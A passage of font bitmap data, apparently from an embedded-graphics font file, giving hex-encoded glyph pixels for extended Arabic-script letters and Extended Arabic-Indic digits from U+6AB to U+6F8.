0x0, 0x0, 0x3, 0xcf, 0x91, 0x0, 0x0, 0x0,
0x0, 0x9, 0xfc, 0x30, 0x0, 0x0, 0x0, 0x0,
0x4e, 0xf6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2f,
0xb1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x6, 0xf4,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1d, 0xfe,
0xc9, 0x74, 0x10, 0x0, 0x0, 0x0, 0x5, 0x8b,
0xdf, 0xff, 0xfc, 0x91, 0x89, 0x0, 0x0, 0x0,
0x2, 0x57, 0xaf, 0xce, 0x80, 0x0, 0x0, 0x0,
0x0, 0x0, 0x8f, 0xe9, 0x0, 0x0, 0x0, 0x0,
0x0, 0x1c, 0xd8, 0xf9, 0x42, 0x11, 0x11, 0x24,
0x9f, 0xf5, 0x7, 0xef, 0xff, 0xff, 0xff, 0xfd,
0x81, 0x0, 0x0, 0x24, 0x44, 0x44, 0x31, 0x0,
0x0,
/* U+6AB "ګ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x43, 0x0,
0x0, 0x0, 0x0, 0x1, 0x7e, 0xf4, 0x0, 0x0,
0x0, 0x3, 0xaf, 0xff, 0x80, 0x0, 0x0, 0x0,
0x4f, 0xff, 0xe2, 0xd0, 0x0, 0x0, 0x0, 0x9f,
0x45, 0xa2, 0xe0, 0x0, 0x0, 0x0, 0x5f, 0x20,
0xbe, 0x50, 0x0, 0x0, 0x0, 0x9, 0xd1, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0xcc, 0x0, 0x0,
0x35, 0x0, 0x0, 0x0, 0x1e, 0x90, 0x0, 0xd9,
0x0, 0x0, 0x0, 0x7, 0xf0, 0x0, 0xe8, 0x0,
0x0, 0x0, 0xb, 0xf0, 0x0, 0x9f, 0x94, 0x22,
0x49, 0xff, 0x70, 0x0, 0x8, 0xef, 0xff, 0xfe,
0x93, 0x0, 0x0, 0x0, 0x2, 0x43, 0x10, 0x0,
0x0, 0x0,
/* U+6AC "ڬ" */
0x0, 0x0, 0x2f, 0x0, 0xe, 0x90, 0x0, 0x0,
0x20, 0x0, 0xe9, 0x0, 0x0, 0x0, 0x0, 0xe,
0x90, 0x0, 0x2, 0x96, 0x0, 0xe9, 0x0, 0x0,
0x76, 0x0, 0xe, 0x90, 0x0, 0x0, 0x58, 0x0,
0xe9, 0x0, 0x2, 0xab, 0x20, 0xe, 0x90, 0x0,
0x0, 0x0, 0x0, 0xe8, 0x54, 0x0, 0x0, 0x0,
0xf, 0x7d, 0xa0, 0x0, 0x0, 0x9, 0xf3, 0x8f,
0xb7, 0x55, 0x8e, 0xf8, 0x0, 0x5c, 0xef, 0xfe,
0xb4, 0x0,
/* U+6AD "ڭ" */
0x0, 0x0, 0x2f, 0x0, 0x0, 0x0, 0x0, 0x0,
0x20, 0x0, 0x0, 0x0, 0x1, 0xf3, 0xf0, 0xe,
0x90, 0x0, 0x2, 0x2, 0x0, 0xe9, 0x0, 0x0,
0x0, 0x0, 0xe, 0x90, 0x0, 0x2, 0x96, 0x0,
0xe9, 0x0, 0x0, 0x76, 0x0, 0xe, 0x90, 0x0,
0x0, 0x58, 0x0, 0xe9, 0x0, 0x2, 0xab, 0x20,
0xe, 0x90, 0x0, 0x0, 0x0, 0x0, 0xe8, 0x54,
0x0, 0x0, 0x0, 0xf, 0x7d, 0xa0, 0x0, 0x0,
0x9, 0xf3, 0x8f, 0xb7, 0x55, 0x8e, 0xf8, 0x0,
0x5c, 0xef, 0xfe, 0xb4, 0x0,
/* U+6AE "ڮ" */
0x0, 0x0, 0x0, 0x0, 0xe, 0x90, 0x0, 0x0,
0x0, 0x0, 0xe9, 0x0, 0x0, 0x0, 0x0, 0xe,
0x90, 0x0, 0x2, 0x96, 0x0, 0xe9, 0x0, 0x0,
0x76, 0x0, 0xe, 0x90, 0x0, 0x0, 0x58, 0x0,
0xe9, 0x0, 0x2, 0xab, 0x20, 0xe, 0x90, 0x0,
0x0, 0x0, 0x0, 0xe8, 0x54, 0x0, 0x0, 0x0,
0xf, 0x7d, 0xa0, 0x0, 0x0, 0x9, 0xf3, 0x8f,
0xb7, 0x55, 0x8e, 0xf8, 0x0, 0x5c, 0xef, 0xfe,
0xb4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x4d, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x20,
0x20, 0x0, 0x0, 0x0, 0x5, 0xd0, 0x0, 0x0,
0x0, 0x0, 0x2, 0x0, 0x0, 0x0,
/* U+6AF "گ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x73, 0x0,
0x0, 0x0, 0x0, 0x3, 0xaf, 0xb2, 0x0, 0x0,
0x0, 0x6, 0xde, 0x81, 0x42, 0x0, 0x0, 0x0,
0x6b, 0x51, 0x7d, 0xf4, 0x0, 0x0, 0x0, 0x2,
0x9f, 0xf9, 0x20, 0x0, 0x0, 0x0, 0x3f, 0xd6,
0x0, 0x0, 0x0, 0x0, 0x0, 0x9f, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x5f, 0x70, 0x0, 0x0,
0x0, 0x0, 0x0, 0x9, 0xf4, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xcf, 0x20, 0x0, 0x79, 0x0,
0x0, 0x0, 0x1e, 0xb0, 0x0, 0xe8, 0x0, 0x0,
0x0, 0x7, 0xf0, 0x0, 0xe9, 0x0, 0x0, 0x0,
0xb, 0xe0, 0x0, 0x8f, 0x94, 0x22, 0x49, 0xef,
0x60, 0x0, 0x7, 0xef, 0xff, 0xfd, 0x92, 0x0,
0x0, 0x0, 0x2, 0x43, 0x10, 0x0, 0x0, 0x0,
/* U+6B0 "ڰ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x84, 0x0,
0x0, 0x0, 0x0, 0x4, 0xaf, 0xa2, 0x0, 0x0,
0x0, 0x17, 0xde, 0x71, 0x43, 0x0, 0x0, 0x0,
0x6b, 0x41, 0x7e, 0xf4, 0x0, 0x0, 0x0, 0x3,
0xaf, 0xff, 0x80, 0x0, 0x0, 0x0, 0x4f, 0xff,
0xe2, 0xd0, 0x0, 0x0, 0x0, 0x9f, 0x45, 0xa2,
0xe0, 0x0, 0x0, 0x0, 0x5f, 0x20, 0xbe, 0x50,
0x0, 0x0, 0x0, 0x9, 0xd1, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xcc, 0x0, 0x0, 0x35, 0x0,
0x0, 0x0, 0x1e, 0x90, 0x0, 0xd9, 0x0, 0x0,
0x0, 0x7, 0xf0, 0x0, 0xe8, 0x0, 0x0, 0x0,
0xb, 0xf0, 0x0, 0x9f, 0x94, 0x22, 0x49, 0xff,
0x70, 0x0, 0x8, 0xef, 0xff, 0xfe, 0x93, 0x0,
0x0, 0x0, 0x2, 0x43, 0x10, 0x0, 0x0, 0x0,
/* U+6B1 "ڱ" */
0x0, 0x0, 0x0, 0xf3, 0xf2, 0x2, 0x84, 0x0,
0x0, 0x0, 0x20, 0x25, 0xbf, 0xa1, 0x0, 0x0,
0x0, 0x17, 0xdd, 0x71, 0x53, 0x0, 0x0, 0x0,
0x6b, 0x41, 0x8e, 0xf4, 0x0, 0x0, 0x0, 0x3,
0xaf, 0xe8, 0x20, 0x0, 0x0, 0x0, 0x4f, 0xd6,
0x0, 0x0, 0x0, 0x0, 0x0, 0x9f, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x5f, 0x70, 0x0, 0x0,
0x0, 0x0, 0x0, 0x9, 0xf4, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xbf, 0x20, 0x0, 0x78, 0x0,
0x0, 0x0, 0x1e, 0xc0, 0x0, 0xe8, 0x0, 0x0,
0x0, 0x7, 0xf0, 0x0, 0xe9, 0x0, 0x0, 0x0,
0x1b, 0xe0, 0x0, 0x8f, 0x94, 0x22, 0x49, 0xff,
0x60, 0x0, 0x7, 0xef, 0xff, 0xfd, 0x92, 0x0,
0x0, 0x0, 0x2, 0x43, 0x10, 0x0, 0x0, 0x0,
/* U+6B2 "ڲ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x94, 0x0,
0x0, 0x0, 0x0, 0x5, 0xcf, 0x91, 0x0, 0x0,
0x0, 0x18, 0xed, 0x61, 0x63, 0x0, 0x0, 0x0,
0x6a, 0x32, 0x8e, 0xf4, 0x0, 0x0, 0x0, 0x3,
0xbf, 0xe7, 0x10, 0x0, 0x0, 0x0, 0x4f, 0xc5,
0x0, 0x0, 0x0, 0x0, 0x0, 0x9f, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x4f, 0x80, 0x0, 0x0,
0x0, 0x0, 0x0, 0x8, 0xf5, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xbf, 0x20, 0x0, 0x8a, 0x0,
0x0, 0x0, 0x1e, 0xc0, 0x0, 0xe8, 0x0, 0x0,
0x0, 0x7, 0xf0, 0x0, 0xe9, 0x0, 0x0, 0x0,
0xb, 0xe0, 0x0, 0x8f, 0x94, 0x22, 0x49, 0xef,
0x60, 0x0, 0x7, 0xef, 0xff, 0xfd, 0x82, 0x0,
0x0, 0x0, 0x2, 0x43, 0x10, 0x0, 0x0, 0x0,
0x0, 0x5, 0xd5, 0xd0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x20, 0x20, 0x0, 0x0, 0x0,
/* U+6B3 "ڳ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x94, 0x0,
0x0, 0x0, 0x0, 0x5, 0xcf, 0x91, 0x0, 0x0,
0x0, 0x18, 0xed, 0x61, 0x63, 0x0, 0x0, 0x0,
0x6a, 0x32, 0x8e, 0xf4, 0x0, 0x0, 0x0, 0x3,
0xbf, 0xe7, 0x10, 0x0, 0x0, 0x0, 0x4f, 0xc5,
0x0, 0x0, 0x0, 0x0, 0x0, 0x9f, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x4f, 0x80, 0x0, 0x0,
0x0, 0x0, 0x0, 0x8, 0xf5, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xbf, 0x20, 0x0, 0x8a, 0x0,
0x0, 0x0, 0x1e, 0xc0, 0x0, 0xe8, 0x0, 0x0,
0x0, 0x7, 0xf0, 0x0, 0xe9, 0x0, 0x0, 0x0,
0xb, 0xe0, 0x0, 0x8f, 0x94, 0x22, 0x49, 0xef,
0x60, 0x0, 0x7, 0xef, 0xff, 0xfd, 0x82, 0x0,
0x0, 0x0, 0x2, 0x43, 0x10, 0x0, 0x0, 0x0,
0x0, 0x0, 0x5d, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x5d, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2,
0x0, 0x0, 0x0, 0x0,
/* U+6B4 "ڴ" */
0x0, 0x0, 0x0, 0xf, 0x20, 0x0, 0x0, 0x0,
0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0xf3, 0xf2, 0x2, 0x84, 0x0, 0x0, 0x0,
0x20, 0x25, 0xbf, 0xa1, 0x0, 0x0, 0x0, 0x17,
0xdd, 0x71, 0x53, 0x0, 0x0, 0x0, 0x6b, 0x41,
0x8e, 0xf4, 0x0, 0x0, 0x0, 0x3, 0xaf, 0xe8,
0x20, 0x0, 0x0, 0x0, 0x4f, 0xd6, 0x0, 0x0,
0x0, 0x0, 0x0, 0x9f, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x5f, 0x70, 0x0, 0x0, 0x0, 0x0,
0x0, 0x9, 0xf4, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0xbf, 0x20, 0x0, 0x78, 0x0, 0x0, 0x0,
0x1e, 0xc0, 0x0, 0xe8, 0x0, 0x0, 0x0, 0x7,
0xf0, 0x0, 0xe9, 0x0, 0x0, 0x0, 0x1b, 0xe0,
0x0, 0x8f, 0x94, 0x22, 0x49, 0xff, 0x60, 0x0,
0x7, 0xef, 0xff, 0xfd, 0x92, 0x0, 0x0, 0x0,
0x2, 0x43, 0x10, 0x0, 0x0, 0x0,
/* U+6B5 "ڵ" */
0x0, 0x0, 0x0, 0x34, 0x5, 0x30, 0x0, 0x0,
0x1, 0xe5, 0xe0, 0x0, 0x0, 0x0, 0x6, 0xf5,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0x0, 0x4f,
0x30, 0x0, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0,
0x0, 0x0, 0x4f, 0x30, 0x0, 0x0, 0x0, 0x4,
0xf3, 0x0, 0x0, 0x0, 0x0, 0x4f, 0x30, 0x0,
0x0, 0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0x0,
0x4f, 0x30, 0x0, 0x0, 0x0, 0x4, 0xf2, 0x3,
0x60, 0x0, 0x0, 0x5f, 0x20, 0xcb, 0x0, 0x0,
0x8, 0xf0, 0xd, 0x90, 0x0, 0x2, 0xeb, 0x0,
0x9f, 0x61, 0x37, 0xef, 0x20, 0x0, 0xaf, 0xff,
0xfa, 0x20, 0x0, 0x0, 0x13, 0x30, 0x0, 0x0,
0x0,
/* U+6B6 "ڶ" */
0x0, 0x0, 0x0, 0x2, 0xf0, 0x0, 0x0, 0x0,
0x0, 0x20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0x4,
0xf3, 0x0, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0,
0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0x4, 0xf3,
0x0, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0, 0x0,
0x4, 0xf3, 0x0, 0x0, 0x0, 0x4, 0xf3, 0x0,
0x0, 0x0, 0x4, 0xf2, 0x36, 0x0, 0x0, 0x5,
0xf2, 0xcb, 0x0, 0x0, 0x8, 0xf0, 0xd9, 0x0,
0x0, 0x2e, 0xb0, 0x9f, 0x61, 0x37, 0xef, 0x20,
0xa, 0xff, 0xff, 0xa2, 0x0, 0x0, 0x13, 0x30,
0x0, 0x0,
/* U+6B7 "ڷ" */
0x0, 0x0, 0x0, 0x3, 0xf0, 0x0, 0x0, 0x0,
0x0, 0x20, 0x0, 0x0, 0x0, 0x2f, 0x3e, 0x0,
0x0, 0x0, 0x2, 0x2, 0x0, 0x0, 0x0, 0x4,
0xf3, 0x0, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0,
0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0x4, 0xf3,
0x0, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0, 0x0,
0x4, 0xf3, 0x0, 0x0, 0x0, 0x4, 0xf3, 0x0,
0x0, 0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0x4,
0xf2, 0x36, 0x0, 0x0, 0x5, 0xf2, 0xcb, 0x0,
0x0, 0x8, 0xf0, 0xd9, 0x0, 0x0, 0x2e, 0xb0,
0x9f, 0x61, 0x37, 0xef, 0x20, 0xa, 0xff, 0xff,
0xa2, 0x0, 0x0, 0x13, 0x30, 0x0, 0x0,
/* U+6B8 "ڸ" */
0x0, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0, 0x0,
0x4, 0xf3, 0x0, 0x0, 0x0, 0x4, 0xf3, 0x0,
0x0, 0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0x4,
0xf3, 0x0, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0,
0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0x4, 0xf3,
0x0, 0x0, 0x0, 0x4, 0xf2, 0x36, 0x0, 0x0,
0x5, 0xf2, 0xcb, 0x0, 0x0, 0x8, 0xf0, 0xd9,
0x0, 0x0, 0x2e, 0xb0, 0x9f, 0x61, 0x37, 0xef,
0x20, 0xa, 0xff, 0xff, 0xa2, 0x0, 0x0, 0x13,
0x30, 0x0, 0x0, 0x0, 0xb, 0x7b, 0x60, 0x0,
0x0, 0x1, 0x12, 0x10, 0x0, 0x0, 0x0, 0xb7,
0x0, 0x0, 0x0, 0x0, 0x11, 0x0, 0x0,
/* U+6B9 "ڹ" */
0x0, 0x7, 0xa0, 0x0, 0x0, 0x0, 0x1, 0x10,
0x4, 0x60, 0x0, 0x0, 0x0, 0x4, 0xf3, 0x58,
0x0, 0x0, 0x0, 0xf6, 0xcb, 0x0, 0x0, 0x0,
0xe8, 0xd9, 0x0, 0x0, 0x1, 0xf6, 0xbc, 0x0,
0x0, 0x9, 0xf1, 0x5f, 0x94, 0x23, 0x9f, 0x80,
0x6, 0xef, 0xff, 0xe7, 0x0, 0x0, 0x3, 0x42,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x8a, 0x0, 0x0, 0x0, 0x0, 0x11, 0x0,
0x0,
/* U+6BA "ں" */
0x0, 0x0, 0x0, 0x1, 0x20, 0x0, 0x0, 0x0,
0x7, 0xf1, 0x12, 0x0, 0x0, 0x1, 0xf5, 0xbc,
0x0, 0x0, 0x0, 0xf7, 0xda, 0x0, 0x0, 0x0,
0xf8, 0xd9, 0x0, 0x0, 0x2, 0xf5, 0xac, 0x0,
0x0, 0xa, 0xf0, 0x4f, 0xa4, 0x24, 0xaf, 0x60,
0x5, 0xef, 0xff, 0xe6, 0x0, 0x0, 0x3, 0x42,
0x0, 0x0,
/* U+6BB "ڻ" */
0x0, 0x8, 0x0, 0x0, 0x0, 0x0, 0xc, 0x0,
0x0, 0x0, 0x0, 0xc, 0x38, 0x20, 0x0, 0x0,
0xd, 0xb8, 0x80, 0x0, 0x0, 0x5d, 0xcc, 0x20,
0x0, 0x0, 0x0, 0x0, 0x6, 0xa0, 0x0, 0x0,
0x0, 0x3, 0xf4, 0x7a, 0x0, 0x0, 0x0, 0xf7,
0xca, 0x0, 0x0, 0x0, 0xe8, 0xd9, 0x0, 0x0,
0x1, 0xf6, 0xbc, 0x0, 0x0, 0x9, 0xf1, 0x5f,
0xa4, 0x24, 0xaf, 0x80, 0x6, 0xef, 0xff, 0xe6,
0x0, 0x0, 0x3, 0x42, 0x0, 0x0,
/* U+6BC "ڼ" */
0x0, 0x7, 0xa0, 0x0, 0x0, 0x0, 0x1, 0x10,
0x4, 0x50, 0x0, 0x0, 0x0, 0x5, 0xf2, 0x23,
0x0, 0x0, 0x1, 0xf6, 0xbc, 0x0, 0x0, 0x0,
0xf8, 0xda, 0x0, 0x0, 0x0, 0xf8, 0xd9, 0x0,
0x0, 0x3, 0xf5, 0xac, 0x0, 0x0, 0xa, 0xe0,
0x4f, 0xa4, 0x24, 0xaf, 0x60, 0x5, 0xef, 0xff,
0xe5, 0x0, 0x0, 0xa, 0xfd, 0x70, 0x0, 0x0,
0xa, 0x66, 0xa0, 0x0, 0x0, 0x3, 0xdd, 0x30,
0x0,
/* U+6BD "ڽ" */
0x0, 0x1, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x20,
0x0, 0x0, 0x0, 0x1f, 0x3f, 0x0, 0x0, 0x0,
0x2, 0x2, 0x4, 0x50, 0x0, 0x0, 0x0, 0x5,
0xf2, 0x23, 0x0, 0x0, 0x1, 0xf6, 0xbc, 0x0,
0x0, 0x0, 0xf8, 0xda, 0x0, 0x0, 0x0, 0xf8,
0xc9, 0x0, 0x0, 0x3, 0xf5, 0xad, 0x0, 0x0,
0xa, 0xe0, 0x3f, 0xa4, 0x24, 0xaf, 0x60, 0x5,
0xef, 0xff, 0xe5, 0x0, 0x0, 0x3, 0x42, 0x0,
0x0,
/* U+6BE "ھ" */
0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0xd, 0xc3,
0x0, 0x0, 0x0, 0x6, 0xff, 0x70, 0x0, 0x0,
0xe, 0xbc, 0xf9, 0x0, 0x0, 0x2f, 0x34, 0xff,
0x60, 0x0, 0xf, 0x57, 0xe7, 0xe0, 0xda, 0xb,
0xde, 0x92, 0xf2, 0xce, 0x8b, 0xff, 0x99, 0xf1,
0x2a, 0xfe, 0x8a, 0xee, 0x70,
/* U+6BF "ڿ" */
0x0, 0x7, 0xa0, 0x0, 0x0, 0x0, 0x1, 0x10,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x9e,
0xed, 0xff, 0xe9, 0x0, 0x41, 0x3d, 0xe8, 0x41,
0x0, 0x3, 0xfa, 0x0, 0x0, 0x0, 0xc, 0xc0,
0x0, 0x0, 0x0, 0x3f, 0x30, 0xd5, 0xd4, 0x0,
0x6f, 0x0, 0x20, 0x20, 0x0, 0x5f, 0x10, 0xd,
0x50, 0x0, 0x1f, 0x80, 0x2, 0x0, 0x0, 0x8,
0xf9, 0x31, 0x14, 0x94, 0x0, 0x6d, 0xff, 0xff,
0xc2, 0x0, 0x0, 0x13, 0x31, 0x0,
/* U+6C6 "ۆ" */
0x0, 0xd, 0x36, 0xb0, 0x0, 0x4, 0xde, 0x20,
0x0, 0x0, 0x65, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x8, 0xed, 0x40, 0x0, 0x6f, 0xac, 0xf1,
0x0, 0x9e, 0x1, 0xf6, 0x0, 0x6f, 0xa6, 0xf7,
0x0, 0x8, 0xdf, 0xf7, 0x0, 0x0, 0x4, 0xf4,
0x0, 0x0, 0x2e, 0xe0, 0x12, 0x48, 0xef, 0x30,
0xaf, 0xff, 0xa2, 0x0, 0x34, 0x20, 0x0, 0x0,
/* U+6C7 "ۇ" */
0x0, 0x2, 0xda, 0x0, 0x0, 0x6, 0x9d, 0x10,
0x0, 0x1, 0xcf, 0x70, 0x0, 0x5, 0xc2, 0x0,
0x0, 0xd8, 0x10, 0x0, 0x0, 0x8, 0xed, 0x40,
0x0, 0x6f, 0xac, 0xf1, 0x0, 0x9e, 0x1, 0xf6,
0x0, 0x6f, 0xa6, 0xf7, 0x0, 0x8, 0xdf, 0xf7,
0x0, 0x0, 0x4, 0xf4, 0x0, 0x0, 0x2e, 0xe0,
0x12, 0x48, 0xef, 0x30, 0xaf, 0xff, 0xa2, 0x0,
0x34, 0x20, 0x0, 0x0,
/* U+6C8 "ۈ" */
0x0, 0x0, 0x52, 0x0, 0x0, 0x0, 0x94, 0x0,
0x0, 0x0, 0x94, 0x0, 0x0, 0x0, 0x94, 0x0,
0x0, 0x0, 0x94, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x8, 0xed, 0x40, 0x0, 0x6f, 0xac, 0xf1,
0x0, 0x9e, 0x1, 0xf6, 0x0, 0x6f, 0xa6, 0xf7,
0x0, 0x8, 0xdf, 0xf7, 0x0, 0x0, 0x4, 0xf4,
0x0, 0x0, 0x2e, 0xe0, 0x12, 0x48, 0xef, 0x30,
0xaf, 0xff, 0xa2, 0x0, 0x34, 0x20, 0x0, 0x0,
/* U+6CB "ۋ" */
0x0, 0x0, 0xa7, 0x0, 0x0, 0x0, 0x11, 0x0,
0x0, 0xa, 0x8b, 0x70, 0x0, 0x1, 0x11, 0x10,
0x0, 0x8, 0xed, 0x40, 0x0, 0x6f, 0xac, 0xf1,
0x0, 0x9e, 0x1, 0xf6, 0x0, 0x6f, 0xa6, 0xf7,
0x0, 0x8, 0xdf, 0xf7, 0x0, 0x0, 0x4, 0xf4,
0x0, 0x0, 0x2e, 0xe0, 0x12, 0x48, 0xef, 0x30,
0xaf, 0xff, 0xa2, 0x0, 0x34, 0x20, 0x0, 0x0,
/* U+6CC "ی" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x6d, 0xfe, 0x70, 0x0, 0x0, 0x4f, 0x94, 0x7f,
0x40, 0x0, 0x5, 0xf7, 0x0, 0x10, 0x12, 0x0,
0x9, 0xfe, 0x80, 0xc, 0xa0, 0x0, 0x2, 0x7e,
0xb0, 0xf7, 0x0, 0x0, 0x0, 0xaf, 0xd, 0xc0,
0x0, 0x2, 0x9f, 0x90, 0x4f, 0xfc, 0xcf, 0xff,
0x90, 0x0, 0x28, 0xba, 0x85, 0x10, 0x0,
/* U+6CE "ێ" */
0xc, 0x47, 0xa0, 0x0, 0x0, 0x0, 0x2e, 0xe1,
0x0, 0x0, 0x0, 0x0, 0x21, 0x6, 0xdf, 0xe7,
0x0, 0x0, 0x4, 0xf9, 0x48, 0xf4, 0x0, 0x0,
0x5f, 0x60, 0x2, 0x10, 0x10, 0x0, 0xbf, 0xe7,
0x0, 0xbb, 0x0, 0x0, 0x39, 0xfa, 0xf, 0x70,
0x0, 0x0, 0xa, 0xf0, 0xeb, 0x0, 0x0, 0x17,
0xfb, 0x6, 0xfd, 0xab, 0xdf, 0xfc, 0x10, 0x5,
0xdf, 0xfd, 0x94, 0x0, 0x0,
/* U+6D0 "ې" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x7d, 0xfe, 0x70, 0x0, 0x0, 0x4f, 0x84, 0x7f,
0x40, 0x0, 0x4, 0xf8, 0x10, 0x10, 0x24, 0x0,
0x7, 0xff, 0xa2, 0xd, 0xa0, 0x0, 0x0, 0x5d,
0xc0, 0xf7, 0x0, 0x0, 0x0, 0xbe, 0xb, 0xd2,
0x0, 0x14, 0xbf, 0x60, 0x1b, 0xfe, 0xff, 0xea,
0x30, 0x0, 0x1, 0x43, 0x10, 0x0, 0x0, 0x0,
0x0, 0xe3, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0,
0x0, 0x0, 0x0, 0x0, 0xe4, 0x0, 0x0, 0x0,
0x0, 0x2, 0x0, 0x0, 0x0,
/* U+6D5 "ە" */
0x0, 0x10, 0x0, 0x2, 0xef, 0xd5, 0x0, 0xae,
0x5a, 0xf7, 0xd, 0x90, 0x7, 0xf1, 0xe8, 0x0,
0x3f, 0x3b, 0xe6, 0x6d, 0xe0, 0x2b, 0xfe, 0x91,
0x0,
/* U+6F0 "۰" */
0x8f, 0x29, 0xf2,
/* U+6F1 "۱" */
0xae, 0x0, 0x4f, 0x30, 0xe, 0x90, 0x9, 0xd0,
0x5, 0xf1, 0x2, 0xf4, 0x0, 0xf6, 0x0, 0xf6,
0x0, 0xf7, 0x0, 0xf7,
/* U+6F2 "۲" */
0x2f, 0x70, 0x0, 0xac, 0xc, 0xf7, 0x26, 0xf7,
0x6, 0xff, 0xff, 0xc0, 0x2, 0xf7, 0x33, 0x0,
0x0, 0xea, 0x0, 0x0, 0x0, 0xbc, 0x0, 0x0,
0x0, 0x9d, 0x0, 0x0, 0x0, 0x8e, 0x0, 0x0,
0x0, 0x7e, 0x0, 0x0, 0x0, 0x7e, 0x0, 0x0,
/* U+6F3 "۳" */
0x3f, 0x40, 0xf6, 0x4f, 0x20, 0xda, 0xf, 0x97,
0xf1, 0x7, 0xfd, 0xff, 0xfc, 0x0, 0x2f, 0x91,
0x33, 0x0, 0x0, 0xe9, 0x0, 0x0, 0x0, 0xb,
0xb0, 0x0, 0x0, 0x0, 0xac, 0x0, 0x0, 0x0,
0x9, 0xd0, 0x0, 0x0, 0x0, 0x8d, 0x0, 0x0,
0x0, 0x8, 0xe0, 0x0, 0x0,
/* U+6F4 "۴" */
0x2f, 0x60, 0x9e, 0xd1, 0xc, 0xc6, 0xf5, 0x40,
0x6, 0xff, 0xf4, 0x22, 0x2, 0xfe, 0xff, 0xf8,
0x0, 0xe7, 0x24, 0x41, 0x0, 0xbb, 0x0, 0x0,
0x0, 0x9d, 0x0, 0x0, 0x0, 0x8e, 0x0, 0x0,
0x0, 0x7e, 0x0, 0x0, 0x0, 0x7e, 0x0, 0x0,
/* U+6F5 "۵" */
0x0, 0x4, 0x81, 0x0, 0x0, 0x5f, 0xfd, 0x0,
0x0, 0xe9, 0x2e, 0x80, 0x7, 0xf1, 0x7, 0xf1,
0xc, 0xb0, 0x1, 0xf6, 0xf, 0x60, 0x0, 0xd9,
0x1f, 0x40, 0x0, 0xbb, 0x2f, 0x40, 0x0, 0xab,
0xf, 0x67, 0xd1, 0xca, 0xc, 0xde, 0xfc, 0xf6,
0x4, 0xed, 0x6f, 0xc0,
/* U+6F6 "۶" */
0x0, 0x0, 0x0, 0x0, 0x7, 0xef, 0x80, 0x5,
0xf7, 0x45, 0x0, 0xac, 0x0, 0x0, 0x9, 0xe1,
0x0, 0x0, 0x2e, 0xfe, 0xf2, 0x0, 0x2f, 0xe7,
0x0, 0xc, 0xd1, 0x0, 0x6, 0xf2, 0x0, 0x0,
0xd9, 0x0, 0x0, 0x3f, 0x30, 0x0, 0x0,
/* U+6F7 "۷" */
0x4f, 0x30, 0x0, 0xad, 0x0, 0xda, 0x0, 0x1f,
0x60, 0x6, 0xf1, 0x7, 0xe0, 0x0, 0x1f, 0x70,
0xd9, 0x0, 0x0, 0xbc, 0x2f, 0x40, 0x0, 0x5,
0xf9, 0xf0, 0x0, 0x0, 0x1f, 0xfb, 0x0, 0x0,
0x0, 0xdf, 0x70, 0x0, 0x0, 0x9, 0xf4, 0x0,
0x0, 0x0, 0x7f, 0x10, 0x0,
/* U+6F8 "۸" */
0x0, 0x7, 0xf1, 0x0, 0x0, 0x0, 0x9f, 0x40,
0x0, 0x0, 0xd, 0xf7, 0x0, 0x0, 0x1, 0xff,
0xb0, 0x0, 0x0, 0x5f, 0x9f, 0x0, 0x0, 0xb,
0xc2, 0xf4, 0x0, 0x1, 0xf6, 0xd, 0x90, 0x0,
0x6f, 0x10, 0x7e, 0x0, 0xd, 0xa0, 0x1, 0xf6,
0x4, 0xf3, 0x0, 0xa, 0xd0,
/* U+6F9 "۹" */
